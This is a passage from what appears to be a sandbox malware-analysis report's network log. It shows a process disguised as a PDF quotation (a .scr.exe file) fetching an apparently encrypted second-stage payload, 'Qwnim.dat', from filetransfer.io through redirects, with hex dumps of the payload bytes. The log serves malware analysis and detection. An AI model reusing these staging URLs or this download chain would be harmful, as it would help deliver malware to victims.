0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50169	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:44 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:45 UTC	1096	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=q3em0cjt5kae2cdlovootg6fj1; expires=Fri, 18-Oct-2024 09:24:45 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/sI6TJT4vJ3Bm CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FXsGVpGZpYABVlpL1iovfQm%2FjkMrtBDfX0LlKvFzuIWeQsaJkaF83KkQuZLB%2Bioelu0qUMiYibTHPrrtZUe1ZCMJJtsJx%2FTffKXE2VKSRPUkDt0oxxAqmEWdWSB3l0gxLMo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ee31cf519c3-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:24:45 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 73 49 36 54 4a 54 34 76 4a 33 42 6d 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/sI6TJT4vJ3Bm">Please click here to continue</a>.</p>
2024-10-04 09:24:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50170	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:45 UTC	98	OUT	GET /storage/download/sI6TJT4vJ3Bm HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:46 UTC	1030	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:46 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=84f413b8d7673b393e1a4bca5b92d55c; expires=Fri, 18-Oct-2024 09:24:46 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TtcYTXI%2BRifq02%2F8wnOhuDsc0%2FrXZbYrSPOvX2MR32Srk%2FPVSud0RIxrVwLmdmGf9fhm0%2BU91Q%2BbHDz50xS8bKtYOtw%2FZtePjw3pVPCiFvk%2FzcWiiCY6ktXqAVLp3xugpUxS6PaG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41eeb4bae0c9e-EWR
2024-10-04 09:24:46 UTC	339	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 31 0d 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 Data Ascii: 1IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: ac b1 f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNd
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 4a 72 f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 Data Ascii: JrXp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 04 db 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSU
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 6f 80 b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 Data Ascii: oLB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 83 5e 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 Data Ascii: ^#IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: fd 11 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 Data Ascii: 8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 7c 85 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c Data Ascii: \|u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0
2024-10-04 09:24:46 UTC	1369	IN	Data Raw: 3d b3 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb Data Ascii: =$dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50173	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:49 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:50 UTC	1066	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=rqa7uc4rahci2htgb3t464cur3; expires=Fri, 18-Oct-2024 09:24:49 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/sHIqABNcW3Ed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wWYiV%2Bkfqq2fVvy%2FdOWIabrHC9QVU1VeBAoGDdhaATep2NjbaJTwPp0qBNkYxg48ijA41cxQoRRcTzC0pBXyxGgsaq9eoMFghMpQN%2BGoafL55M7a02HD3mQZ5fWAQ4Fz6T0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f00498f7c7e-EWR
2024-10-04 09:24:50 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 73 48 49 71 41 42 4e 63 57 33 45 64 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/sHIqABNcW3Ed">Please click here to continue</a>.</p>
2024-10-04 09:24:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50174	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:50 UTC	98	OUT	GET /storage/download/sHIqABNcW3Ed HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:51 UTC	1054	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:51 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=f31ec647cae4f6af6f9af7bbb946e876; expires=Fri, 18-Oct-2024 09:24:50 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: 